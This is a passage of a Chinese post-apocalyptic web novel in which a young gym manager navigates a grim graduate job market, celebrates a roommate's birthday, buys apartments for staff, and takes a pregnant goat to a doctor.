不过国内其他的公墓也都是这样建的，虽然刚开始的时候还有人吐槽说市政太敷衍，不尊重死者云云，但有人科普了给每个人刻名字的“豪华公墓”的石碑造价后，就没人再说这样的话了。 就算有人说，也会很快被其他网友怼回去。 现在国内各地百废待兴，与其把税收和人力物力浪费在石碑上，还不如拿来做其他的事。 秦小薇没在公墓附近待太久，放下纸做的菊花就离开了。 回去的路堵得比来的时候还要严重，秦小薇都有些后悔跑这一趟了，跟风这种事要不得啊！下次还是别来了…… 回到健身房后，她坐下歇了没一会，就听到健身房门口传来一阵喧闹声。 她刚走过去，就看到一个男人拽着一个瘦弱女人的衣领，要用拳头揍她，还好他们边上站着一个健身教练，拦住了要动手的男人。 秦小薇的眉头皱了起来，竟然有男的在她们店门口闹事，不知道她们店是干什么的吗？ “出什么事了？”秦小薇询问一直守在这边的前台。 前台的表情有些一言难尽，她凑到秦小薇耳边小声道：“那位女士带着她女儿过来上散打课，中途她老公找了过来，问她女儿是不是他亲生的，那位女士说是，但她老公说收到了她出轨的照片，两个人就吵起来了，后来她老公又说他已经找机构做了亲子鉴定，那位女士就改口了，说她也不知道孩子是他的，还是她前夫的，她老公就要打她……” 前台的声音非常小，生怕那对夫妇听到。 秦小薇：“……” 刚开始她看两人的体型，还以为是这个女人受欺负了，没想到…… 这种事，她们健身房好像也不好管…… 但也不能让女人在她们健身房门口被打，这要是被人拍了视频发到网上，会影响她们店的口碑的！ 秦小薇走过去，冲着两人开口道：“两位，有什么事，咱们进去找个地方坐下，慢慢谈吧！” “我和她没什么好说的！”男人依旧处于暴怒 状态。 秦小薇示意他看周围的手机摄像头：“先生，这里这么多人拍照呢！这事要是传到网上，您脸上也不光彩是不是？要不咱们还是进去说吧？” 男人这才意识到，边上有人正在对着他的脸拍小视频，他的表情更难看了，一边用袖子遮脸一边驱赶众人：“去去去，别拍了，有什么好拍的……” 男人最后还是没进健身房，让健身房的人参与他们夫妇俩的私事，冲着他老婆撂下几句狠话就离开了。 人散了之后，肖琳琳小声问秦小薇：“薇薇，刚刚那男的要是留下来了，你打算怎么办？” 秦小薇：“带到办公室里，充当他们的调解员，让他们坐下来好好聊聊……” 肖琳琳不解：“这种事，聊聊就行？” 秦小薇摇头：“估计要扯很久的皮，我也没想帮他们解决问题，只要他们不在我店门口闹事、影响我做生意就行了……” 要是单纯是男方的问题，她可能还会帮一帮，但现在是女方出轨在先……这种事还是别沾手了，免得惹得一身腥！ 肖琳琳：“就是可怜了他们的孩子，小小年纪，家里就发生了这么大的变故，还遇到了这么多事……” 听她这么说，秦小薇起了八卦的心思：“她遇到什么事了？” 肖琳琳：“他们女儿今年刚好初三，原本是要参加中考的，但是高温那段时间，大家出门不方便，全国从小学到大学都是线上教学，升学考试也一直没举行，小雨原本开学后是要升高一的，但她没参加中考，宁市的高中也没说要招生，她这个年纪也没法出去工作，她下半年就不知道该干什么了……” “但她妈妈觉得，高温结束后，中考肯定也会恢复，一直压着她在家里学习，高温的时候，她还嫌弃线上教学效果差，在外面给小雨找了个补习班，让小雨天天晚上去补习班上课。” “那段时间治安特别差，小雨差点就遇到不好的事了，她妈妈为了她的安全，就在我们这给小雨报了班，一口气买了三十节散打课……” 之后，秦小薇又从肖琳琳那里得知，小雨的妈妈二婚后，就没出去上过班，一直是她二婚的老公在养她。 花现任的钱养前任的孩子，还在婚后和前任不清不楚，秦小薇觉得，这事肯定没这么容易结束……光是她们母女俩这些年的花销，就够他们三个人扯皮很久了。 毕竟，对普通人来说，钱还是很重要的…… 不过，这都和她无关，只要他们下次不来健身房门口闹事就行了。 下午的时候，秦小薇在群里看到辅导员通知大家，学校举办的招聘会的具体时间。 1206的四人中，肖琳琳和段霞的工作都还没着落，范槿虽然有她妈妈托朋友帮她安排工作，但那份工作的工资待遇都很一般，她也想去招聘会看看，看看能不能碰到更好的机会…… 于是，招聘会这天，1206的四人都去了——秦小薇是单纯陪她们过来投简历的。 招聘会很热闹，里面有很多人，来来往往全是学生，秦小薇陪着室友们转了一圈，很快就发现了不对劲。 这个招聘会……好像就只是做做样子而已？ 每个摊子上招的人都少得可怜，摊子上的人和学生聊天的时候态度也非常敷衍，就像是在完成什么任务似的，简历倒是收了一箱又一箱……按照他们收到的简历的数量来看，这些公司招人说是千里挑一也不过分。 想到了现在外面的大环境，秦小薇猜测，这些公司，估计是学校请来装样子的。 毕竟有些公司和他们学校是有合作的，请他们过来，给学生们一点希望，也很正常。 Q大也算是百年名校了，要是校招都没几个公司来，或是直接不办，那面子上也太难看了！ 其余三人也很快就发现了不对劲，段霞的表情有些沮丧：“薇薇，要是我当初和你一样，也修了双学位就好了！现在还能多一份可能……” 秦小薇：“其实修双学位也不一定有用，你看我现在，不也在帮老板看店吗？干的还是体育相关的工作……阿霞，慢慢来吧，工作总会找到的！” 段霞：“我就怕和咱们高温的时候找房子一样，到了最后还是一无所获！” 秦小薇：“谁说的，你们现在不是从里面找到了合适的，省去了重新找房源的时间吗？” 段霞抿了抿唇，低头看着脚下之前高温的时候被晒裂了的水泥路，没再说话。 之后几天，三人又参加了几次招聘会，简历倒是投出去不少，但一直没等到人联系她们…… 这天下午，秦小薇接到了辅导员的电话：“秦小薇，你们健身房可以签几张就业协议吗？” 秦小薇以为她想让自己去学校招人，婉拒道：“导员，我们健身房最近生意不怎么好，没有招人的打算……” 辅导员：“不是招人，就帮忙盖几个章，今年很多学生都找不到工作，多签几份协议，咱们学院的就业率也能好看一点……” 秦小薇：“……” 第66章 第66章生日（双更合一）…… 虽然辅导员的要求让秦小薇觉得学校有点弄虚作假,但之前健身房招教练的时候，导员和学院的老师都帮了忙，要不然她一下子也找不齐这么多在全国比赛上拿了奖、业务能力和人品都过关的教练。 秦小薇考虑了一下,还是答应帮忙了。 辅导员很高兴,还和她说了要是接到了核查电话,该怎么回复…… 秦小薇：流程这么熟，Q大该不会每年都干这种事吧？ 原来他们学校的超高就业率是这么来的！ 挂了辅导员的电话后,没过多久,秦小薇又接到了班长的电话。 班长：“秦小薇，毕业照的相册到了,但班上有很多同学都在外地，暂时没法过来领。宿舍这个月要清空，我之后要搬去公司宿舍,带着它们不方便,我能不能把剩下的相册放你那？等其他人回学校了，直接去你那拿……” 举手之劳而已，秦小薇也就没拒绝。 班长很快就把东西送来了健身房,数了相册的数量后，秦小薇有些惊讶：“班长,相册是不是印多了？” 没被领走的相册的数量竟然比那天拍毕业照的人还多！ 班长：“不多,班上每人一本，我让照相馆的老板多送了一些，又用剩下的班费多买了几本,同班四年，总不能最后连个毕业照都没有……” 秦小薇拿起相册翻了翻，这才发现，那些没来的同学虽然没有单人照,但几张大合照上面，每个同学都在。 不过图是从别的日常照片上面抠下来的，衣服也是抠图后P上去的，这让合照的风格看起来非常诡异…… 班长递给她一张纸：“一共32本，这是没领相册的同学的名单，我在群里说了，到时候直接来你工作的健身房拿就行了，或者等物流恢复了，你给他们寄过去，让他们转运费给你……” 秦小薇：“行，交给我吧！” 秦小薇担心自己把名单弄丢了，还用手机拍了张照片存到云盘上存档。 班长离开后，秦小薇才拿着自己那本相册仔细翻看起来。 就像她之前猜测的那样，礼 服裙那套衣服拍出来的照片非常灾难，就算摄影师P了图，也没办法拯救……另外两套衣服倒是还不错，拍出来的照片，有种青春活力的感觉。 她随手拍了几张照片，发寝室群里。 【秦小薇：相册出来了，咱们这几张照片还挺好看的！】 【秦小薇：[图片][图片][图片][图片]】 【肖琳琳：真的哎！比我用手机拍的好看多了！】 【范槿：我也拿到相册了，那几张把其他人P上去的合照真的很好笑，周理竟然只P了一个头上去，有种一半阴间一半阳间的感觉。】 【范槿：[图片]】 【肖琳琳：为什么他们的脸有些是红的，有些是青灰色的？】 【秦小薇：可能原图就是这个色调？你们今天还顺利吗？】 她们已经在Q大的招聘会上把能投的简历都投了，但到目前为止，三人都没收到任何回复。 范槿已经彻底躺平，准备接受她妈妈的安排，走后门去工作。 肖琳琳和段霞没有人脉，还在继续找工作，段霞是不想回老家当体育老师，按部就班地结婚生子，外加帮衬他弟弟……肖琳琳则是因为她老家在小镇上，老家的机会比宁市还要少，工资甚至还不如她现在在健身房的兼职，她要是回去，就只能啃老。 她爸妈好不容易才供出她这么一个大学生，她实在是没法心安理得地回老家躺平。 所以两人今天带着简历，去校外蹭其他学校的招聘会了。 【肖琳琳：别提了，情况和咱们学校的招聘会差不多……有一个有意向招我，但是HR开的工资只有两千二，还不包吃住，要干满一年才有机会转正，转正后工资也才三千多，我还不如继续留在健身房做兼职，至少一个月还有四千多。】 健身房的兼职工资是按天算的，一天150，满勤一个月4500，扣掉房租水电，也够她们生活了。要是她们偶尔想休息了，可以直接和秦小薇请假，她会直接扣掉她们那天的工资。 秦小薇管理健身房还是挺严格的，并没有因为她们是自己的室友，就给额外的优待。 【段霞：听说明天还有一个招聘会，我打算去碰碰运气。】 【秦小薇：猫猫加油.jpg】 可能是因为今年的工作实在是太难找了，晚上的时候，秦小薇还收到了班上一个女生的消息，问她健身房还需不需要教练…… 她婉拒之后，又收到了另一个男生的消息，那个男生说他想去公墓附近卖纸花创业，来找秦小薇讨教摆摊的经验。 因为在同班同学里面，秦小薇的工作经验算是最“丰富”的，从大一开始，她就在接触各种兼职，后面因为自然灾害，大部分人都失业了，她却空降成了健身房的店长，还把室友安排进健身房赚钱…… 在某些同学看来，她已经“逆袭成功”，成为人生赢家了。 秦小薇：“……”公墓都建成好几天了，这个时候去公墓附近卖花，错过风口了吧？ 看得出来，今年找工作是真的难！大家已经快要无路可走了…… 虽然觉得现在卖纸花有点晚了，但对方坚持要摆摊“创业”，秦小薇也就根据自己的经验给他提了点意见…… 第二天，她在同城APP上看到宁市的大型超市上新了新鲜蔬果和肉类的消息。 不过数量非常少，就算熬夜排队也不一定能抢到的那种！ 她仔细看了看，蔬果都是些耐高温的品种，应该是之前高温的时候种的大棚蔬菜……她记得陆昼之前说过，高温过后，物资供应会恢复一部分。 想到段霞的生日就快到了，她这段时间又因为找工作的事变得十分消沉，秦小薇便想帮她庆祝一下生日，安慰一下她。 想到就干，她直接拉了个三人群。 【范槿：咱们不是已经有寝室群了？怎么又拉了一个群？】 【肖琳琳：难道咱们也要像网上说的那样，一个寝室八个群，天天上演宫心计？】 【肖琳琳：但我们都毕业了，现在再玩这个，是不是太晚了？】 【肖琳琳：小狗托腮.jpg】 【秦小薇：什么乱七八糟的？阿霞快过生日了，我看她最近情绪不太好，想给她过个生日安慰她一下，拉新群是怕她知道了，就没有惊喜了。】 【肖琳琳：原来如此。】 【肖琳琳：可以啊！但是要怎么庆祝？约她出去玩吗？宁市现在好像没什么好玩的地方，几个游乐场都没开门……】 【秦小薇：我想把你们的出租屋布置一下，然后做个蛋糕，再准备一些好吃的……健身房的老板有门路，这些食材他都能帮忙搞到。】 【范槿：行啊！那天刚好是周末，我不用上班，可以过去帮忙！】 三人又在新拉的小群里商量了一些细节。 时间很快就到了周末，周五的晚上，秦小薇去找了陆昼，想找他换一点牛羊肉，周末和室友一起吃火锅。 陆昼：“之前换的鱼肉虾肉还剩很多，我暂时不缺，你用别的换吧！” 秦小薇开始翻自己的仓库：“那你要什么？鸡蛋、牛奶、黄油、酸奶、芒果、草莓、西梅……” 最后，秦小薇用几斤鸡蛋和一个大西瓜换了陆昼五斤牛羊肉和一瓶喷□□油。 陆昼：“你空间里那些动物怎么样了？” 秦小薇：“好着呢！一天吃好几顿……你记得多收点饲料，种下去的草籽没那么快长出来。” 机器人无人化养殖确实很方便，秦小薇只要每天过去看几眼，调整一下程序外加给机器人充电就行了。 陆昼：“知道了。” 换完东西，秦小薇就回家了。 第二天，她早上起床后，就找理由把段霞叫来了健身房，自己则和范槿开车去了段霞和肖琳琳合租的房子。 范槿：“我买了点材料，让我爸帮忙烤了个蛋糕坯，就是没有奶油，看起来有点单调……” 秦小薇：“没事，我找老板弄了一罐喷□□油和一盒草莓，待会我们可以装饰一下，弄个水果蛋糕……” 其实乳品厂也生产奶油，还是非常纯正、口感超级细腻的动物奶油，但它的外包装不太好解释，秦小薇不敢拿出来。 她们计划上午把出租屋装饰一下，然后准备好蛋糕和食材，再叫段霞回来吃火锅、蛋糕庆祝生日…… 肖琳琳昨天偷偷摸摸买了一堆彩带和气球，两人到出租屋的时候，她正在“呼呼呼”给气球吹气。 肖琳琳：“你们快来帮我一下，累死我了，我腮帮子快要吹麻了！” 秦小薇：“琳琳，你没买打气筒吗？” 肖琳琳：“我倒是想买，但是店家没货……” 三个人都为段霞的生日准备了东西，不过秦小薇准备的东西最多，还都是“稀缺物资”，让其余两人非常惊讶。 肖琳琳：“薇薇，这一块肉有两斤了吧？薇薇，你今天大出血啊！” 秦小薇胡乱编了个理由糊弄过去：“其实还好，不是很贵，老板走超市的渠道帮忙弄的，不是同城APP上那种高价肉，要不然我也不会一次买两斤……” 肖琳琳：“咱们老板可真有实力，之前高温的时候也是，每天让人送那么多桶装水过来……不知道他能不能搞点员工福利，让我们也买点低价物资？” 秦小薇：“呃……我和老板提一提，不过概率应该不大，毕竟他手底下不止我们一家店的员工……” 范槿：“我知道这个牌子的奶油，超级贵的，还是进口的，健身房的老板竟然能弄到？这也太厉害了！” 三人忙活了一上午，之后，肖琳琳又找理由把段霞叫了回来…… 段霞刚打开房门，就看到范槿端着一个奶油抹得凹凸不平、插着蜡烛的草莓蛋糕冲着她唱生日歌，其余两个室友，则一边用手打着拍子，一边唱着生日歌。 “祝你生日快乐，祝你生日快乐……” 范槿：“阿霞，生日快乐！快吹蜡烛许愿！” 她看着三个室友，眼中隐约有泪光闪动：“这个蛋糕好丑！饭饭，奶油肯定是你抹的……” 段霞低头吹灭了蛋糕上的蜡烛。 范槿：“胡说，明明是我们三个一起抹的！阿霞，你可不能看我平时手残就污蔑我！” 吹完蜡烛后，三人又送上了她们提前准备好的生日礼物。 段霞：“你们送了什么？” 秦小薇：“我看你最近经常去健身房练拳击，拳击手套又破了，就送了你一副新的……” 看到范槿和肖琳琳脸上古怪的表情，秦小薇心里有了些不好的预感：“该不会……你们两个送的也是拳击手套吧？” 两人缓缓点头。 段霞拆开 礼物后发现，三人送的拳击手套，除了牌子不一样，连颜色都是她最喜欢的天蓝色。 秦小薇都不知道，是该说她们1206的四人有默契还是没有默契……看来下次给室友送礼物前她们要提前通个气，免得送重了！ 段霞：“……没事，刚好我最近迷上了打拳，以后就不用担心拳击手套坏了没得换了！” 秦小薇知道，她并不是迷上了打拳，只是单纯地通过运动发泄压力。 她转移话题道：“咱们切蛋糕吧！寿星，你来切，今天允许你给自己切一块最大的！” 段霞：“我才不呢！难得开一次荤，我要留着肚子吃羊肉火锅！” 除了羊肉，秦小薇和范槿还从家里拿了自家种的菜过来，这顿火锅的食材还算丰富。 市面上的新鲜食材已经断供好几个月了，三人已经吃了好几个月的能量饼干了，乍然吃到熟悉的味道，她们都有些没控制住，连清汤锅那边的汤都喝得干干净净。 其余三人吃得实在是太香了，筷子稍微下晚一点，锅里的肉就没了，秦小薇被周围的气氛带动，也吃了不少。 范槿看着她们没喝完的红油汤底，意犹未尽道：“咱们把剩下的汤分分吧！油能通便，别浪费啊！” 因为顿顿吃能量饼干，摄入的新鲜水果和蔬菜不足，现在很多普通人，一旦水喝少了，就会有便秘的困扰，连带着同城APP上像是干荷叶、蜂蜜这样有通便效果的物资都涨出了天价…… 秦小薇忍不住吐槽她：“饭饭，你说加点水煮面我都能接受，当泻药喝，那咱们今天吃的这些东西不就都浪费了吗？” 范槿瞬间捂住自己的胃：“对哦！不能喝！” 段霞也挺着肚子靠在椅子上，一副撑得不能动弹的模样，她忽然坐直了身体，清了清嗓子，冲着其余三人开口道：“同志们，我找到工作了！” 范槿：“真的吗？那你今天算是双喜临门了吧？” ：. 肖琳琳：“阿霞，是哪家公司？你快和我们说说……” 段霞：“是一家钢材厂，他们需要焊接、搬运的工人，我身体比较好、力气又大，就被选上了！一个月工资有九千多呢！” 听到她的描述，其余三人脸上的表情都有些僵硬，这工作怎么听起来……像是工作强度很大的体力活？ 有种拿健康换钱的感觉，和段霞之前的目标职位也相差很大…… 秦小薇知道她说的钢材厂，为了应对一个多月后的自然灾害，让地震过后的普通人有个遮风挡雨的空间，那边正在三班倒生产拼接钢板，她空间里那些圈舍的钢材就是陆昼找关系从钢材厂弄来的…… 但钢材厂的忙碌只是一时的，等地震、台风、冰雹过去了，它的命运还不知道会怎么样。 肖琳琳：“阿霞，要不你再考虑一下？钢材厂的工作听起来太辛苦了，我觉得，要是真找不到工作，在健身房继续兼职也挺好的……” 段霞：“别人能行，我肯定也行！我想去试试，说不定我干着干着就升职了呢？” 她又故作轻松地笑了下：“你们别这么看着我……行了，我保证，要是工作太辛苦了，我就辞职，继续回健身房兼职，薇薇，你到时候可不能嫌弃我吃回头草！” 见她已经有了决定，秦小薇叹了口气，没再多劝。 段霞做出这个决定，也是无奈之举，都是被大环境逼的，今年毕业生的就业情况实在是太差了！ 段霞：“对了，薇薇，我爸妈都不知道这事，我和他们说我在健身房做正式教练，要是他们打电话问你，你记得帮我圆谎……” 秦小薇点头：“我知道了！会帮你的……” 肖琳琳：“唉，以后我就只能一个人上下班了！” 秦小薇伸手搂着她的脖子：“没事，还有我陪着你呢！” 四人又坐了一会，等把她们吃剩的那些碗筷都收拾了，范槿和秦小薇才离开段霞她们的出租房。 回健身房完成今日份的训练后，秦小薇就窝沙发上玩手机了。 没多久，她就刷到了一条新闻，说是接下来一个月，会陆续举办升学考试，让学生们继续回归校园。 因为穿越前的职场经历，秦小薇一直觉得文凭挺重要的，但这段时间，室友们和班上的同学接连找工作碰壁后，她已经改变了这个想法，都末世了，学历再漂亮似乎也没什么用…… 陆昼说了，现在这样的情况还会持续十几年，让学生们继续上学，对他们的未来真的会有帮助吗？ 但不让他们继续上学，他们似乎也做不了其他的…… 不过，这也和她无关了，她已经拿到毕业证毕业了！ 业主群这些天又新加入了几个业主，几乎所有新业主进群后的第一件事，就是提议买电梯……可惜和之前一样，大家的意见始终没能达成一致。 秦小薇看了下账户上的余额，想了想，联系了最开始租公寓给她的房东。 【秦小薇：您之前说10楼还有两间公寓没租出去，那两间公寓现在还在吗？】 【房东：在，你朋友打算租了？】 【秦小薇：不是，我想问问，你那两套公寓卖不卖？】 参考之前的临时安置点和临时避暑点，就算工厂生产了很多帐篷和钢棚，地震之后，普通人的居住环境必然不会太好。 她的健身房是打算一直开下去的，“衣食住行”算是末世中普通人生活中最重要的事了，前两样不需要她操心，如果有个员工宿舍的话，后两样她也能替员工解决……至少灾难来临的时候，健身房员工的生活条件可以比其他人好！ 而且，如果建筑真的大批量倒塌的话，后期她想把房子脱手，也不愁找不到买家，现在在公寓楼里买房基本上没有什么风险，还能趁着房价下跌少花点钱。 房子一直租不出去，再加上公寓楼的电梯又是坏的，房东也有卖房的意向。 两人在聊天软件上聊了一会，之后秦小薇又让房东过来，带她去看了房。 房东想按照暴雨之前的房价卖，一直在吹嘘房子的装修做得有多好多好……但是现在行情摆在这，高楼层的房子就是不值钱。 秦小薇知道，房东这两间公寓是统一装修，打算拿来开酒店公寓的，只是外表看着好看，根本不会用太好的材料，再加上之前健身房装修的时候，她了解了一些和装修相关的信息，便从各个角度和房东砍价…… 两人扯了几天皮，打了无数个电话，最终，秦小薇以市场价拿下了这两套公寓。 公寓里面有很多家具，但每间公寓只有一张双人床，不够她安排健身房的员工，秦小薇便打算把里面用不到的家具都搬走，换成上下铺。 每间公寓放三张上下铺，12张床，刚好可以容纳店里的员工。 不过六个人住一间公寓，会不会太拥挤了一点？ 应该也还行？至少比Q大的寝室宽敞！ 宁市只有那种儿童睡的双层实木上下铺，一套就要好几千，那种几百块一套的便宜铁架双层床，得去Q省其他的城市买。 秦小薇懒得折腾，干脆买了实木的上下铺，因为这种床带柜子，还能增加一些储物空间…… 第67章 第67章母羊（双更合一）…… 等买的上下铺都到了之后,秦小薇又准备了十几份平价的生活 用品，放在新房子的柜子里。 这天下午，秦小薇睡完午觉回健身房看店的时候,发现之前在她们健身房门口闹事的那位妈妈,正带着她的女儿小雨在前台办卡买课。 等人办完了手续,秦小薇才走过去和前台打听母女俩的情况。 秦小薇：“芳芳，她们什么情况？怎么又来了？” 不是说她没工作,全靠她二婚的老公出钱养着吗？怎么有钱来续课了？难道是亲子鉴定的结果出来了,孩子是她现任老公的？ 夫妻俩上次的八卦太过炸裂，别说健身房的员工,就连有些学员都眼熟她们了，秦小薇还以为，她们怕被人指指点点,之后就不会来了,甚至还和前台打了招呼，要是她们来退费，就退给她们。 事实也像她猜测的那样,那事过后，母女俩一直没在健身房出现过,没想到今天一来,就是交钱续会员…… 前台四处看了看，见母女俩已经跟着教练走到帘子后面了，才凑到秦小薇耳边,猫猫祟祟地开口道：“她说她老公和她动手的时候被她女儿拦住了，她觉得咱们这儿的课靠谱，就给自己也买了课，办了会员,想着速成一下，下次她老公动手的时候，还能还手……店长，你知道她一口气买了多少节课吗？” 秦小薇：“多少？” 前台伸手比了个“9”：“还是张教练最贵的那一档课，她还另外充了一年的会员……店长，这算是咱们这个月最大一笔单子了吧？” 可能是因为这单的提成比较高，说到后面，她的声音里是难以掩饰的激动。 想到张教练的实力，秦小薇忽然觉得她老公有点可怜…… 不过，开门做生意嘛，碰到几个奇葩客人也是正常的！至少她的健身房，还是能帮到很多处于困境中的女性同胞，比如她的女儿小雨…… 小插曲过后，秦小薇在健身房转了一圈，帮几个正在做基础训练的会员纠正了一下动作，之后又练了一个小时的拳，她就自己找地方坐下了。 虽然最近健身房的生意变差了一些，但是她的日子，却过得比暴雨之前还要安逸、滋润，有钱、有闲、还有宠物，要是能一直保持这个状态，好像也还行…… 一转眼，时间又过了一周，这天晚上，吃完晚饭后，秦小薇把小黄从空间里带了出来，继续教它说话，网上都说鹦鹉是高智动物，秦小薇也觉得小黄挺聪明的，有时候她教烦了数落它两句，它还会用“蠢狗”“笨狗”反击，所以她一直没放弃教小黄说话…… 不过她的教学成果，到目前为止，依旧为零。 今天也是一样，就在秦小薇说得口干舌燥，准备送它回空间的时候，它忽然来了句“你好”。 秦小薇还以为自己听错了：“小黄，你刚刚是不是说‘你好’了？再说一遍好不好？” “你好你好。”小黄又用它的破锣嗓子重复了一遍。 “啊啊啊啊你真的会说话了！”秦小薇顿时有种自家孩子出息了的感觉，对着小黄一顿猛吸。 她顿时不觉得累了，又教了它一会，还对着它拍了个小视频…… 把鹦鹉送回空间里之后，秦小薇又对着视频“观摩”了二十多分钟。 不愧是她养的鸟，太可爱了！ 她拍视频的时候它竟然还知道要看着镜头！ 第二天早上，秦小薇在健身房看店的时候，找肖琳琳问了下段霞的情况。 段霞已经在钢材厂干了半个月了，因为她力气很大，又没有焊接的经验，所以她被分去了钢材厂的仓库，干搬货的体力活。 虽然仓库有很多机器，但有些工作，还是需要人力完成的，据肖琳琳所说，刚开始那几天，段霞每次回来都累得连说话的力气都没有，基本上倒床上就睡，有一次连拖鞋都忘记脱了。 这几天可能是适应了，状态好了一些。 肖琳琳叹了口气：“我感觉她比之前憔悴了好多，但我问她工作怎么样，她都是报喜不报忧，总和我说钢材厂的福利不错，中午还有肉汤和米饭之类的……那么累的活，不准备点好吃的，工人也撑不下去吧！” 秦小薇：“唉，她就是太要强了！” 肖琳琳：“主要还是她爸妈一直说她留在宁市没前途、不稳定，让她回老家当老师，她就憋着一口气想干出点成绩来……阿霞要是能像我一样随遇而安，就没有那么多烦恼了！” 中午的时候，秦小薇下楼去便利店买能量饼干，却发现能量饼干多了一种新包装，抱着试一试的心态，她买了一袋。 回去的路上，她拆开能量饼干的外包装，尝了一口，稍微咀嚼了两口，她的表情就变了！ 这新款怎么还剌嗓子呢？ 秦小薇看了下配料表，以前的能量饼干，配料表里大部分是小麦粉、糖、油，但新款，在里面添加了玉米芯粉和麦麸。 秦小薇：那玩意不是喂牲口的吗？人也可以吃？ 想到之前楼下出现淡化水之后，后面很长一段时间，味道正常的矿泉水就买不到了。 秦小薇心里一个咯噔，便利店以后该不会就只供应这种难吃的新款能量饼干吧？ 回到健身房后，她提醒了一下健身房的其他人，让她们买能量饼干的时候不要拿错了，粉色包装的新款能量饼干很难吃。 她上网搜了下，发现很多人都在吐槽新款能量饼干难吃。 官方也给了回应，说新款能量饼干是针对国人的现状重新改的配方，添加的粗粮成分，可以有效缓解便秘，促进肠道蠕动，有益于调节肠道菌群……之后两种饼干会一起上架，市民们可以按需自由选择。 还有专家推荐普通人尽量多吃新款能量饼干，说是多摄入粗粮有益于健康。 秦小薇：现在麦麸和玉米芯粉也能算健康的粗粮了？工厂生产新款能量饼干真的不是因为存粮不够了吗？ 不过看到官方公告说，之后两种饼干会一起卖，她还是松了一口气。 她可以接受粗粮，但它要是剌嗓子，那还是算了吧！ 下午的时候，秦小薇发现，新款能量饼干的通便效果确实很好，她今天比平时多跑了两次厕所。 看来以后同城APP上的荷叶茶要降价了！ 秦小薇以为，大家会和她一样，不喜欢能量饼干剌嗓子的口感，它的销量应该不会太好，但出乎她的意料，她第二天去买能量饼干的时候，发现新款能量饼干竟然卖空了！ 反而是味道更好的老款，开始“滞销”了！ 秦小薇：原来有这么多普通人，受到便秘问题的困扰啊！ 这天早上，秦小薇进空间后，发现负责照顾羊圈的机器人昨天半夜发出了警报，提示一只母山羊的状态不对，让她多关注。 秦小薇打开机器人总结的报告看了看，那只机器人提示有问题的母羊，近期活动时间明显减少，还伴有食欲减轻和体重减轻的症状。 她的表情严肃起来，它不会是生病了吧？ 她飞快解决完空间里的事，就出去给陆昼打了个电话。 秦小薇：“陆昼，你现在有空吗？能过来一趟吗？或者我过去找你也行。” 因为她 的声音十分严肃，陆昼的态度也变得郑重起来：“我半个小时后到！” 等陆昼来了之后，她和前台说了一声，就下楼了。 陆昼：“出什么事了？” 秦小薇：“羊圈里好像有一只羊生病了，找你带它去看医生。” 陆昼：“……” 秦小薇：“陆昼，你怎么这副表情？你不会没考虑过它们会生病，连兽医的联系方式都没有吧？” 陆昼揉了揉额头：“能找到兽医……我现在带你过去！” 他启动了车子，中途，他还绕路去了趟郊外，让秦小薇把羊放出来。 可能是因为环境忽然变了，那头母羊出来后有些躁动，不肯好好待在后车座，一直用脑袋四处顶撞，还“咩咩咩”叫个不停。 为了让它安静下来，秦小薇从空间里拿出绳子，和陆昼一起，把它五花大绑了。 绑完羊后，秦小薇重新回到副驾驶座上，她轻轻呼出一口气：“陆昼，你这车不行，下次拉动物去看病的时候，你记得开辆小卡车过来，后面要带笼子的那种，至少要能装得下一头牛才行……” 陆昼看了下后视镜里被弄得脏兮兮的后车座，闻着空气中的臭味，沉默了。 他之前的决定，是不是错了？ 进入市区后，路上忽然开始堵车，秦小薇看着前方的车流，忍不住皱眉：“今天是什么特别的日子吗？街上怎么这么多人？” 可能是因为车里味道太大了，陆昼的声音也有些烦躁：“今天高考，附近刚好有一个考点……” 秦小薇忍不住吐槽：“都末世了，上学还有用吗？” 陆昼：“不管是从短期还是长远发展来说，这都是很有必要的！短期内，可以让学生安心在家里上网课，不至于到处乱跑生事，长期来看，可以为各行各业储备人才……” 秦小薇：“……”那普通人未免也牺牲太多了！又花时间又花钱！ 车子在路上堵了一个多小时，才到达目的地。 秦小薇以为，陆昼会带她去什么兽医站，万万没想到，陆昼竟然带着她去了他住的小区，把羊从车里放出来之后，他强行牵着它进了他们小区的“诊所”，找了之前那位给鹦鹉看病的心内科唐医生。 路上，秦小薇看着他牵羊的姿势，调侃道：“动作这么熟练，你以前不会还放过羊吧？” 陆昼：“……我只遛过狗。” 唐医生似乎刚上班，他们进去的时候，他还在扣白大褂的扣子，手上还拿着半个没吃完的包子。 唐医生看到他们有些惊讶：“陆昼，你怎么来了？还……带了一只羊？” 陆昼把羊牵到唐医生面前：“它好像生病了，最近活动量明显减少，吃的东西也变少了，你帮忙看看……” 唐医生不满：“你怎么一天天尽找我给动物看病，我是心内科的医生！” 陆昼：“反正也没人找你看心内科的病，现在有病人你就别嫌弃了！” 唐医生：“……” 他叹了口气，两口吃完剩下半个包子，戴上一次性手套，准备给羊做检查。 唐医生：“你把它牵外面去，味道太大了，我会被投诉的……” 检查了一会，唐医生忽然开口道：“好像是怀孕了，得做个B超看看！” 三人又带着羊转战超声室，唐医生和超声室的医生借了仪器，超声室的医生似乎对这样的情况早已习以为常，直接把位置让了出来。 唐医生把羊肚子上的毛剃了，给它做了个检查…… 唐医生：“确实怀孕了，应该有一个月了，还是个三黄蛋，你们看这里，一二三……它怀孕后活动量减少是正常的，另外，食欲下降，可能是因为饲料不合口味，可以调整一下，尽量多补充一点蛋白质和矿物质……” 看着他侃侃而谈的模样，秦小薇不禁感叹，这位唐医生还真是多才多艺！ 做完了检查，三人又把超声室打扫了一遍才离开，离开超声室后，唐医生忍不住开口抱怨：“陆昼，你下次还是去找别的兽医吧！每次给它们看完病，我都帮人家打扫一遍，还得换白大褂，太麻烦了……” 陆昼沉吟了一会，忽然开口道：“我买台超声机，下次你直接来家里吧！” 唐医生气得跳脚：“陆昼，你不要曲解我的话，我是这个意思吗？我是让你以后别来了！” 陆昼：“我要是真不来，你又得和我抱怨，最近没狗撸了！” 唐医生：“我什么时候抱怨了？我那就是随口一说，你不要一直拿老黄历说事……” 单方面和陆昼吵了一会，唐医生忽然拿出手机，冲着秦小薇开口道：“我们加个好友吧！你有什么需要咨询的，随时可以找我……以后羊奶要是喝不完了，也可以卖给我。” 秦小薇：“……”最后一句话才是重点吧！ 她想了想，还是拿出手机，和唐医生交换了联系方式，现在这种情况，多认识一个医生，没什么坏处的！ 更何况，还是他这种“多才多艺”又能给人看病，又能给小动物看病的医生。 给羊看完了病，陆昼就准备送秦小薇和羊回去了，秦小薇却把羊直接留下了：“它先在你这养几天，等情况稳定了，我再接它回去，免得机器人又发警报，我来回折腾也麻烦……” 陆昼：“……我家没有饲料。” 秦小薇：“我拿给你就行了，多大点事！” 